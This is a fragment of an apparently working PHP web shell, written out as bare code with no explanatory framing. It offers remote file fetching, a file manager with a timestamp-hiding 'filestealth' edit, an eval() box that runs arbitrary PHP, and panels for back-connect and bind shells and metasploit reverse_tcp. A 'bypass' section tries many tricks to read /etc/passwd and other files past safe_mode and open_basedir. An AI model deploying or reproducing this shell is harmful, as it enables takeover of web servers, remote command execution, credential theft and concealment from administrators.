 cf("$dir\up.vbs",$vbs);
 $blah = ex("up.vbs " . $_POST['rem_file'] . " " . $_POST['loc_file']);
 if (file_exists($_POST['loc_file']))
 { print '<div align=center><font color=red><b>file has uploaded</b></font></div>';}else{ print '<div align=center><font color=red><b>Error uploading file</b></font><div align=center>';}
 @unlink("$dir\up.vbs");
 break;
 case PHP:
$uripath = explode("/",$_POST['rem_file']);
for ($i=3 ; $i < count($uripath) ; $i++){
$remoteFilename .= '/'.$uripath[$i];
}
$host = $uripath[2];
$port = 80;
if($windows){
$path = explode("\\",$_POST['loc_file']);
$localFilename = $path[count($path)-1];
}else{
$path = explode("/",$_POST['loc_file']);
$localFilename = $path[count($path)-1];
}
$authorization = '';
$usernameColonPassword = '';
if (FALSE !== strpos($host, ":")) {$host = "[". $host ."]";}
if (is_callable('stream_socket_client')) {
	$msgsock = stream_socket_client("tcp://{$host}:{$port}");
	if (!$msgsock) { die(); }
	$msgsock_type = 'stream';
} elseif (is_callable('fsockopen')) {
	$msgsock = fsockopen($host,$port);
	if (!$msgsock) { die(); }
	$msgsock_type = 'stream';
} elseif (is_callable('socket_create')) {
	$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
	$res = socket_connect($msgsock, $host, $port);
	if (!$res) { die();}
	$msgsock_type = 'socket';
} else {
	die();
}
function generateGetRequest($host, $filename, $authorization){
if($usernameColonPassword != "") { $authorization = "Authorization: Basic " . base64_encode($usernameColonPassword) . "\r\n";}
$request = "GET $filename HTTP/1.0\r\n" .
		"Host: $host\r\n" .
        $authorization . 
        "User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n".
        "Connection: close\r\n" .
        "\r\n";
return $request;
}
switch ($msgsock_type) { 
case 'stream': fwrite($msgsock, generateGetRequest($host, $remoteFilename, $authorization)); break;
case 'socket': socket_write($msgsock, generateGetRequest($host, $remoteFilename, $authorization)); break;
}
$data = "";
$buf = "";
do{
	switch ($msgsock_type) { 
	case 'stream': $buf = fread($msgsock, 4); if($buf != "") $data .= $buf; break;
	case 'socket': $buf .= socket_read($msgsock, 4); if($buf != "") $data .= $buf; break;
	}
} while($buf != "");
fclose($msgsock);
$dataArray = explode("\r\n\r\n", $data);
$numElements = count($dataArray);
$body = "";
for($i = 1; $i <= $numElements; $i++) {
 $body .= $dataArray[$i];
}
if($localFilename == "") {
    print $body;
} else {
$fHandle = fopen($localFilename, 'w+');
  if($fHandle) {
    fwrite($fHandle, $body);
    fclose($fHandle);
	print "<label style=\"color:red;\">Remote file saved to:  $localFilename</label><br>";
} else {
     print "<font face=Verdana size=-2 color=red><label><FILE ERROR cannot write to file: $localFilename</label></font><br>";	
  } 
}
 break;
 }
}
echo $table_up3;
echo "<form method=POST><input id=\"bardir\" type=\"text\" name=\"dir\" size=\"60\" value=\"".((!empty($d))?($d):($dir))."\"> <input id=\"bardir\" type=\"submit\" name=\"submit\" value=\"GO\"></form></td></tr><tr><td>";
$lastdir = realpath(".");
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
if (isset($actbox)){
if (!is_array($actbox)) { $actbox = array(); }
}
if (isset($act)) $dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = @urlencode($d);
if (empty($d)) {$d = realpath(".");}
elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
echo '<table width="800"><tr><td width="800">';
if (!isset($act)) { $act = $dspact = "ls"; }
if (isset($act) && $act == "d") {
  if (!is_dir($d)) { echo "<label>$d is a not a Directory!</label>"; }
  else {
    echo "<table><tr bgcolor=\"#666666\" align=\"left\"><td colspan=2><label>Directory information:</label></td></tr>";
    if (!$windows) {
      echo "<tr bgcolor=\"#808080\"><td><label>Owner/Group</label></td><td>";
      $ow = posix_getpwuid(fileowner($d));
      $gr = posix_getgrgid(filegroup($d));
      $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d))."</td></tr>";
    }
    echo "<tr bgcolor=\"#808080\"><td><label>Perms</label></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><label>".view_perms_color($d)."</label></a><tr bgcolor=\"#666666\"><td><label>Create time</label></td><td><label>".date("d/m/Y H:i:s",filectime($d))."</label></td></tr><tr bgcolor=\"#808080\"><td><label>Access time</label></td><td><label>".date("d/m/Y H:i:s",fileatime($d))."</label></td></tr><tr bgcolor=\"#666666\"><td><label>MODIFY time</label></td><td><label>".date("d/m/Y H:i:s",filemtime($d))."</label></td></tr></table>";
  }
}

if (isset($act) && $act == "chmod") {
  $f = ($_GET['f'])?($_GET['f']):($_POST['f']);
  $mode = fileperms($d.$f);
  if (!$mode) {echo "<label>Change file-mode with error:  can't get current value.</label>";}
  else {
    $form = TRUE;
    if ($chmod_submit) {
      $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
      if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
      else {$err = "Can't chmod to ".$octet.".";}
    }
    if ($form) {
      $perms = parse_perms($mode);
      echo "<label>Changing file-mode (".$d.$f."),</label> ".view_perms_color($d.$f)." <label>(".substr(decoct(fileperms($d.$f)),-4,4).")</label><br>".($err?"<label>Error: ".$err:"</label>")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table style=\"align;left;border:0\" ><tr><td><label>Owner</label><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;<label>Read</label><br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;<label>Write</label><br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"")."><label>eXecute</label></td><td><label>Group</label><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;<label>Read</label><br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;<label>Write</label><br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"")."><label>eXecute</label></td><td><label>World</label><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;<label>Read</label><br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;<label>Write</label><br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"")."><label>eXecute</label></font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
    }
  }
}

if (isset($act) && $act == "delete") {
  $delerr = "";
  foreach ($actbox as $v) {
    $result = FALSE;
    $result = fs_rmobj($v);
    if (!$result) { $delerr .= "<label>Can't delete ".htmlspecialchars($v)."</label><br>"; }
  }
  if (!empty($delerr)) { echo "<label>Error deleting:<br>".$delerr."</label>"; }
  $act = "ls";
}
if (isset($act) && $act == "ls") {
  if (count($ls_arr) > 0) { $list = $ls_arr; }
  else {
    $list = array();
    if ($h = @opendir($d)) {
      while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
      closedir($h);
    }
  }
  if (count($list) == 0) { echo "<label>Can't open folder (".htmlspecialchars($d).")!</label>";}
  else {
    $objects = array();
    $vd = "f"; 
    if ($vd == "f") {
      $objects["head"] = array();
      $objects["folders"] = array();
      $objects["links"] = array();
      $objects["files"] = array();
      foreach ($list as $v) {
        $o = basename($v);
        $row = array();
        if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
        elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
        elseif (is_dir($v)) {
          if (is_link($v)) {$type = "LINK";}
          else {$type = "DIR";}
          $row[] = $v;
          $row[] = $type;
        }
        elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
        $row[] = filemtime($v);
        if (!$windows) {
          $ow = posix_getpwuid(fileowner($v));
          $gr = posix_getgrgid(filegroup($v));
          $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
        }
        $row[] = fileperms($v);
        if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
        elseif (is_link($v)) {$objects["links"][] = $row;}
        elseif (is_dir($v)) {$objects["folders"][] = $row;}
        elseif (is_file($v)) {$objects["files"][] = $row;}
      }
      $row = array();
      $row[] = "<label class=\"table_list\">Name</label>";
      $row[] = "<label class=\"table_list\">Size</label>";
      $row[] = "<label class=\"table_list\">Date Modified</label>";
      if (!$windows) {$row[] = "<label class=\"table_list\">Owner/Group</label>";}
      $row[] = "<label class=\"table_list\">Perms</label>";
      $row[] = "<label class=\"table_list\">Action</label>";
      $parsesort = parsesort($sort);
      $sort = $parsesort[0].$parsesort[1];
      $k = $parsesort[0];
      if ($parsesort[1] != "a") {$parsesort[1] = "d";}
      $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
      $y .= ($sort[1] == "a"?'<img src='.$_SERVER['PHP_SELF'].'?img=1>':'<img src='.$_SERVER['PHP_SELF'].'?img=2>')."</a>";
      $row[$k] .= $y;
      for($i=0;$i<count($row)-1;$i++) {
        if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
      }
      $v = $parsesort[0];
      usort($objects["folders"], "tabsort");
      usort($objects["links"], "tabsort");
      usort($objects["files"], "tabsort");
      if ($parsesort[1] == "d") {
        $objects["folders"] = array_reverse($objects["folders"]);
        $objects["files"] = array_reverse($objects["files"]);
      }
      $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
      $tab = array();
      $tab["cols"] = array($row);
      $tab["head"] = array();
      $tab["folders"] = array();
      $tab["links"] = array();
      $tab["files"] = array();
      $i = 0;
      foreach ($objects as $a) {
        $v = $a[0];
        $o = basename($v);
        $dir = dirname($v);
        if ($disp_fullpath) {$disppath = $v;}
        else {$disppath = $o;}
        $disppath = str2mini($disppath,60);
		foreach ($regxp_highlight as $r) {
          if (ereg($r[0],$o)) {
            if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "<label>Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command.</label>";}
            else {
              $r[1] = round($r[1]);
              $isdir = is_dir($v);
              if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
                if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
                $disppath = $r[2].$disppath.$r[3];
              }
            }
          }
        }
        $uo = urlencode($o);
        $ud = urlencode($dir);
        $uv = urlencode($v);
        $row = array();
        if ($o == ".") {
          $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">&nbsp;<img style=\"border:0; height:16; width=19;\" src=".$_SERVER['PHP_SELF']."?img=4><font color=\"#cccccc\">.</font></a>";
          $row[] = "CURDIR";
        }
        elseif ($o == "..") {
          $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">&nbsp;<img style=\"border:0; height:16; width=19;\" src=".$_SERVER['PHP_SELF']."?img=4><font color=\"#cccccc\">..</font></a>";
          $row[] = "UPDIR";
        }
        elseif (is_dir($v)) {
          if (is_link($v)) {
            $disppath .= " => ".readlink($v);
            $type = "LINK";
            $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">&nbsp;[".$disppath."]</a>";
          }
          else {
            $type = "DIR";
            $row[] =  "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">&nbsp;<img style=\"border:0; height:16; width=19;\" src=".$_SERVER['PHP_SELF']."?img=4><font color=\"#cccccc\">".$disppath."</font></a>";
          }
          $row[] = $type;
        }
        elseif(is_file($v)) {
          $ext = explode(".",$o);
          $c = count($ext)-1;
          $ext = $ext[$c];
          $ext = strtolower($ext);
          $row[] =  "<a href=\"".$surl."act=f&f=".$uo."&ft=code&d=".$ud."\">&nbsp;".$disppath."</a>";
          $row[] = view_size($a[1]);
        }
        $row[] = @date("d.m.Y H:i:s",$a[2]);
        if (!$windows) { $row[] = $a[3]; }
        $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
        if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
        else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
        if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><label class=\"table_list\">Info</label></a>&nbsp;".$checkbox;}
        else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><label class=\"table_list\">Info</label></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><label class=\"table_list\">Edit</label></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><label class=\"table_list\">Download</label></a>&nbsp;".$checkbox;}
        if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
        elseif (is_link($v)) {$tab["links"][] = $row;}
        elseif (is_dir($v)) {$tab["folders"][] = $row;}
        elseif (is_file($v)) {$tab["files"][] = $row;}
        $i++;
      }
    }

    $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
    echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
         "<table name=select width=100%>";
    foreach($table as $row) {
      echo '<tr>';
      foreach($row as $v) {echo "<td><label>".$v."</label></td>";}
      echo "</tr>\r\n";
    }
    echo "</table>";
	echo '<div align="right"><a style="color: #cccccc; font: 8pt Verdana; text-decoration :underline;" href="javascript:ls_setcheckboxall(true);">Select all</a>&nbsp;&nbsp;<a style="color: #cccccc; font: 8pt Verdana; text-decoration :underline;" href="javascript:ls_setcheckboxall(false);">Unselect all</a>';
    echo "<script>".
         "function ls_setcheckboxall(status) {".
         " var id = 1; var num = ".(count($table)-2).";".
         " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
         "}".
         "function ls_reverse_all() {".
         " var id = 1; var num = ".(count($table)-2).";".
         " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
         "}".
         "</script>".ws(2);
    echo "<select name=act>";
    echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
    echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
    echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
    echo "</form>";
  }
}
if (isset($act) && $act == "f") {
$f = ($_GET['f'])?($_GET['f']):($_POST['f']);
  echo "<div align=left>";
  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
    if (file_exists($d.$f)) {echo "<center><label>Permision denied (".htmlspecialchars($d.$f).")!</label></center>";}
    else {echo "<center><label>File does not exists (".htmlspecialchars($d.$f).")!</label><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><label class=\"table_list\">Create</label></a></center>";}
  }
  else {
    $r = @file_get_contents($d.$f);
    $ext = explode(".",$f);
    $c = count($ext)-1;
    $ext = $ext[$c];
    $ext = strtolower($ext);
    $rft = "";
    foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
    if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
    if (empty($ft)) {$ft = $rft;}
    $arr = array(
        array("<label class=\"table_list\">Info</label>","info"),
        array("<label class=\"table_list\">Download</label>","download"),
		array("<label class=\"table_list\">Code</label>","code"),
        array("<label class=\"table_list\">Edit</label>","edit")
    );
    echo "<label>Viewing file:".ws(5).$f." (".view_size(filesize($d.$f)).")</label>".ws(5).view_perms_color($d.$f).ws(2)."<label>Select action/file-type:</label><br>";
    foreach($arr as $t) {
      if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
      elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
      else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
      echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\"><label class=\"table_list\">(N)</label></a> |";
    }
    echo "<hr size=\"1\" noshade>";
    if ($ft == "info") {
      echo "<table><tr bgcolor=\"#666666\"><td colspan=2 align=\"left\"><label>Information:</label></td></tr><tr bgcolor=\"#808080\"><td><label>Path</label></td><td><label>".$d.$f."<label></td></tr><tr bgcolor=\"#666666\"><td><label>Size</label></td><td><label>".view_size(filesize($d.$f))."</label></td></tr><tr bgcolor=\"#808080\"><td><label>MD5</label></td><td><label>".md5_file($d.$f)."</label></td></tr>";
      if (!$windows) {
        echo "<tr bgcolor=\"#666666\"><td><label>Owner/Group</label></td><td>";
        $ow = posix_getpwuid(fileowner($d.$f));
        $gr = posix_getgrgid(filegroup($d.$f));
        echo ("<label>".$ow["name"]?$ow["name"]:fileowner($d.$f))."/</label><label>".($gr["name"]?$gr["name"]:filegroup($d.$f)."</label></td></tr>");
      }
      echo "<tr bgcolor=\"#666666\"><td><label>Perms</label></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr bgcolor=\"#808080\"><td><label>Create time</label></td><td><label>".date("d/m/Y H:i:s",filectime($d.$f))."</label></td></tr><tr bgcolor=\"#666666\"><td><label>Access time</label></td><td><label>".date("d/m/Y H:i:s",fileatime($d.$f))."</label></td></tr><tr bgcolor=\"#808080\"><td><label>MODIFY time</label></td><td><label>".date("d/m/Y H:i:s",filemtime($d.$f))."</label></td></tr></table>";
  }
   elseif ($ft == "edit") {
   $f = ($_GET['f'])?($_GET['f']):($_POST['f']);
   if (!empty($submit))
   {
    if ($filestealth) {$stat = stat($d.$f);}
    $fp = fopen($d.$f,"w");
    if (!$fp) {echo "<label>Can't write to file!</label>";}
    else
    {
     echo "<label>Saved!</label>";
     fwrite($fp,$edit_text);
     fclose($fp);
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
     $r = $edit_text;
    }
   }
   $rows = count(explode("\r\n",$r));
   if ($rows < 10) {$rows = 10;}
   if ($rows > 30) {$rows = 30;}
   echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"96\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  }
  elseif ($ft == "code") {
    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em;background-color: C0C0C0;\">";
    if (!empty($white)) {@ob_clean();}
    highlight_file($d.$f);
    if (!empty($white)) {exit;}
    echo "</div>".$footer;
	die();
  }
  elseif (!empty($ft)) {echo "<label>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</label>";}
  else {echo "<label>Unknown file type (".$ext."), please select type manually.</label>";}
}
echo "</div>\n";
}
if (isset($act) && $act == "net") {
echo '<br><table align="center"><tr><td>';
echo '<table align=center><form method=POST><tr><td colspan=2 bgcolor="#666666"><label>'.$lang[$language.'_text9'].'</label></td></tr><tr><td width=74 bgcolor="#808080"><label>'.$lang[$language.'_text13'].'</label></td><td bgcolor="#808080"><input type="text" name="ip" size=25 value="'.((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")).'"></td></tr><tr><td width=74 bgcolor="#666666"><label>'.$lang[$language.'_text10'].'</label></td><td bgcolor="#666666"><input type="text" name="port" size="25" value="1313"></td></tr><tr><td width=74 bgcolor="#808080"><label>'.$lang[$language.'_text141'].'</label></td><td bgcolor="#808080"><select size="1" name="mode"><option value="back-connect">back-connect</option><option value="Bind">Bind port</option></select></td></tr><tr><td width=74 bgcolor="#666666"><label>'.$lang[$language.'_text20'].'</label></td><td bgcolor="#666666"><select size="1" name="use"><option value="php">PHP</option><option value="java">Java</option><option value="Perl">Perl</option><option value="C">C</option></select></td></tr><tr><td colspan=2 bgcolor="666666" align="right"><input type="submit" name="submit" value="'.$lang[$language.'_butt5'].'"></td></tr></form></table>';
echo '</td><td><table align=center><form method=POST><tr><td colspan=2 bgcolor="#666666"><label>'.$lang[$language.'_text136'].'</label></td></tr><tr><td width=74 bgcolor="#808080"><label>'.$lang[$language.'_text13'].'</label></td><td bgcolor="#808080"><input type="text" name="winip" size=25 value="'.((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")).'"></td></tr><tr><td width=74 bgcolor="#666666"><label>'.$lang[$language.'_text10'].'</label></td><td bgcolor="#666666"><input type="text" name="winport" size="25" value="1313"></td></tr><tr><td width=74 bgcolor="#808080"><label>'.$lang[$language.'_text141'].'</label></td><td bgcolor="#808080"><select size="1" name="mode"><option value="back-connect">back-connect</option><option value="Bind">Bind port</option></select></td></tr><tr><td width=74 bgcolor="#666666"><label>'.$lang[$language.'_text20'].'</label></td><td bgcolor="#666666"><select size="1" name="use"><option value="php">PHP</option><option value="java">Java</option><option value="nc">exe</option><option value="Perl">Perl</option></select></td></tr><tr><td colspan=2 bgcolor="666666" align="right"><input type="submit" name="submit" value="'.$lang[$language.'_butt5'].'"></td></tr></form></table>';
echo '</td><td><table align=center><form method=POST><tr><td colspan=2 bgcolor="#666666"><label>'.$lang[$language.'_text140'].'</label></td></tr><tr><td width=74 bgcolor="#808080"><label>'.$lang[$language.'_text13'].'</label></td><td bgcolor="#808080"><input type="text" name="metasploit_ip" size=25 value="'.((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")).'"></td></tr><tr><td width=74 bgcolor="#666666"><label>'.$lang[$language.'_text10'].'</label></td><td bgcolor="#666666"><input type="text" name="metasploit_port" size="25" value="1313"></td></tr><tr><td width=74 bgcolor="#808080"><label>'.$lang[$language.'_text141'].'</label></td><td bgcolor="#808080"><select size="1" name="mode"><option value="reverse_tcp">reverse_tcp</option><option value="bind_tcp">bind_tcp</option></select></td></tr><tr><td width=74 bgcolor="#666666"><label>'.$lang[$language.'_text20'].'</label></td><td bgcolor="#666666"><select size="1" name="use"><option value="PHP">PHP</option></select></td></tr><tr><td colspan=2 bgcolor="666666" align="right"><input type="submit" name="submit" value="'.$lang[$language.'_butt5'].'"></td></tr></form></table>';
echo '</td></tr><tr><td><table align=center><form method=POST><tr><td colspan=2 bgcolor="#666666"><label>'.$lang[$language.'_text22'].'</label></td></tr><tr><td width=74 bgcolor="#808080"><label>'.$lang[$language.'_text23'].'</label></td><td bgcolor="#808080"><input type="text" name="local_port" size=25 value="1313"></td></tr><tr><td width=74 bgcolor="#666666"><label>'.$lang[$language.'_text24'].'</label></td><td bgcolor="#666666"><input type="text" name="remote_host" size="25" value="irc.server.ma"></td></tr><tr><td  width=74 bgcolor="#808080"><label>'.$lang[$language.'_text25'].'</label></td><td bgcolor="#808080"><input type="text" name="remote_port" size="25" value="6667"></td></tr><tr><td width=74 bgcolor="#666666"><label>'.$lang[$language.'_text26'].'</label></td><td bgcolor="#666666"><select size="1" name="use"><option value="Perl">datapipe.pl</option><option value="C">datapipe.c</option><option value="exe">datapipe.exe</option></select></td></tr><tr><td colspan=2 bgcolor="666666" align="right"><input type="submit" name="submit" value="'.$lang[$language.'_butt5'].'"></td></tr></form></table>';
echo '</td><td><table align=center><form method=POST><tr><td colspan=2 bgcolor="#666666"><label>'.$lang[$language.'_text133'].'</label></td></tr><tr><td bgcolor="#808080"><label>'.$lang[$language.'_text26'].'</label></td><td bgcolor="#808080"><select size="1" name="reduh"><option value="jsp">jsp</option><option value="php">php</option><option value="aspx">aspx</option></select></td></tr><tr><td colspan=2 bgcolor="666666" align="right"><input type="submit" name="submit" value="'.$lang[$language.'_butt5'].'"></td></tr></table>';
echo '</td><td><table align=center><form method=POST><tr><td colspan=2 bgcolor="#666666"><label>'.$lang[$language.'_text137'].'</label></td></tr><tr><td width=74 bgcolor="#808080"><label>'.$lang[$language.'_text10'].'</label></td><td bgcolor="#808080"><input type="text" name="proxy_port" size=25 value="1313"></td></tr><tr><td bgcolor="#666666"><label>'.$lang[$language.'_text26'].'</label></td><td width=74 bgcolor="#666666"><select size="1" name="use"><option value="Perl">Perl</option></select></td></tr><tr><td colspan=2 bgcolor="666666" align="right"><input type="submit" name="submit" value="'.$lang[$language.'_butt5'].'"></td></tr></form></table></td></tr></table>'.$footer;
die();
}
if (isset($act) && $act == "eval") {
if (isset($_POST['eval_submit'])){
 $eval = @str_replace("<?","",$_POST['php_eval']);
 $eval = @str_replace("?>","",$eval);
 echo '<br><table align=center><tr><td bgcolor="#666666"><label>output:eval()</label></td></tr><tr><td bgcolor="#808080"><textarea cols=70 rows=10>';
 eval($eval);
 echo '</textarea></td></tr></table><br>';
}
echo '<br><table align=center><form method=POST><tr><td bgcolor="#666666" align=left><label>Eval()</label></td></tr><tr><td bgcolor="#808080"><textarea name=php_eval cols=70 rows=10>'.(!empty($_POST['php_eval'])?($_POST['php_eval']):("/* PHP script */")).'</textarea></td></tr><tr><td bgcolor="#666666" align="right"><input type="submit" name="eval_submit" value="'.$lang[$language.'_butt1'].'"></td></tr></table>'.$footer;
die();
}
function startab($t){
return '<table><tr bgcolor="#666666"><td align="left"><label>Methode: '.$t.'</label></td></tr><tr bgcolor="#808080"><td><textarea cols=96 rows=5>';
}
$endtab = '</textarea></td></tr></table>';
if (isset($act) && $act == "bypass") {
$file=((empty($_POST['bypasstext']))?('/etc/passwd'):($_POST['bypasstext']));
if(isset($_POST['bypasstype']) && $_POST['bypasstype'] == "ReadFile"){
ini_restore('safe_mode');ini_restore('open_basedir');
echo startab('readfile');
readfile($file);
echo $endtab;
echo startab('include');
include($file);
echo $endtab;
$tmp=tempnam('','cx');
copy('compress.zlib://'.$file,$tmp);
$fh=fopen($tmp,'r');
$data=fread($fh,filesize($tmp));
fclose($fh);
echo startab('copy');
echo $data;
echo $endtab;
if(function_exists('mb_send_mail')){
if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail');
mb_send_mail(NULL, NULL, NULL, NULL,'-C '.$file.' -X /tmp/mb_send_mail');
echo startab('mb_send_mail');
readfile('/tmp/mb_send_mail');
echo $endtab;
}
if(function_exists('curl_init')){
$fh=curl_init('file://'.$file.'');
echo startab('curl_init - 1');
echo curl_exec($fh);
echo $endtab;
if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__);
else $ch=curl_init('file://'.$file."\x00".__FILE__);
echo startab('curl_init - 2');
var_dump(curl_exec($ch));
echo $endtab;
}
if(is_writable('.')){
file_put_contents('php.ini','safe_mode = Off');
echo startab('php.ini');
readfile($file);
echo $endtab;
unlink('php.ini');
}
if(extension_loaded('perl')){
echo startab('Perl');
echo perlshelL('type "'.$file.'"');
echo $endtab;
}
if(is_object($ws=new COM('WScript.Shell'))){
echo startab('WScript.Shell');
echo comshelL('type "'.$file.'"',$ws);
echo $endtab;
}
if(extension_loaded('ffi') && $windows){
echo startab('FFI');
echo ffishelL('type "'.$file.'"');
echo $endtab;
}
if(is_callable('win_shell_execute')){
echo startab('win32std');
echo winshelL('type "'.$file.'"');
echo $endtab;
}
if(is_callable('win32_create_service')){
echo startab('win32service');
echo srvshelL('type "'.$file.'"');
echo $endtab;
}
if(function_exists('imap_open')){
$str=imap_open('/etc/passwd','','');
$list=imap_list($str,$file,'*');
echo startab('imap - 1');
for($i=0;$i<count($list);$i++)echo $list[$i]."\n";
echo $endtab;
imap_close($str);
$str=imap_open($file,'','');
$tmp=imap_body($str,1);
echo startab('imap - 2');
echo $tmp;
echo $endtab;
imap_close($str);
}
if($file=='/etc/passwd'){
echo startab('Posix');
for($uid=0;$uid<99999;$uid++){
$h=posix_getpwuid($uid);
if(!empty($h))foreach($h as $v)echo "$v:";
echo "\r\n";
}
echo $endtab;
 }
